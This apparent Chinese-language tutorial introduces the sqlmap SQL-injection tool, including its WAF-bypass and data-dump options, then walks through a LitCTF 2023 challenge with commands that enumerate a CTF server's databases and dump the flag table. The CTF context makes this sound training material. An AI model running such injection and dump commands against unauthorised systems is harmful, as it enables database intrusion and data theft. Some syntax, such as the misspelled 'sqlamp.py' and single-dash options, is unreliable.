先来简单介绍一下sqlmap:
sqlmap 是一款开源的自动化 SQL 注入和数据库安全评估工具。它能够检测和利用 SQL 注入漏洞,以及接管数据库服务器。
以下是基本的命令:
-u 指定目标URL (可以是http协议也可以是https协议)
-d 连接数据库
--dbs 列出所有的数据库、
--current-db 列出当前数据库
--tables 列出当前的表
--columns 列出当前的列
-D 选择使用哪个数据库
-T 选择使用哪个表
-C 选择使用哪个列
--dump 获取字段中的数据
--batch 自动选择yes
--smart 启发式快速判断,节约浪费时间
--forms 尝试使用post注入
sqlmap 还提供了一些高级用法,例如:
- 使用
--tamper
参数来绕过应用程序的敏感字符过滤或 WAF 规则。 - 使用
--level
和--risk
参数来指定测试的深度和广度。 - 使用
--random-agent
或--user-agent
参数来指定自定义的 User-Agent。
基本语句是:python sqlamp.py -u “目标URL” “指令”
如果你需要指定参数类型,可以使用 --param-type 参数。例如,如果你知道参数是通过GET方式
传递的,可以这样指定:
sqlmap -u "http://example.com/page.php" --param id --param-type GET
Post 请求
python sqlmap.py -u "目标URL" --data "POST参数"
接下来上实战([LitCTF 2023]这是什么?SQL !注一下 !)
第一步先查他的数据库
python sqlmap.py -u http://node5.anna.nssctf.cn:21645/?id=1 -dbs
看到有以下
第二步选一个库查它的表
python sqlmap.py -u http://node5.anna.nssctf.cn:21645/?id=1 -D ctftraining -tables
看到flag出来了
接着就是通过flag查它表里的列
python sqlmap.py -u http://node5.anna.nssctf.cn:21645/?id=1 -D ctftraining -T flag -columns
最后一步查列里的字段
python sqlmap.py -u http://node5.anna.nssctf.cn:21645/?id=1 -D ctftraining -T flag -C flag -dump
也是得出了答案。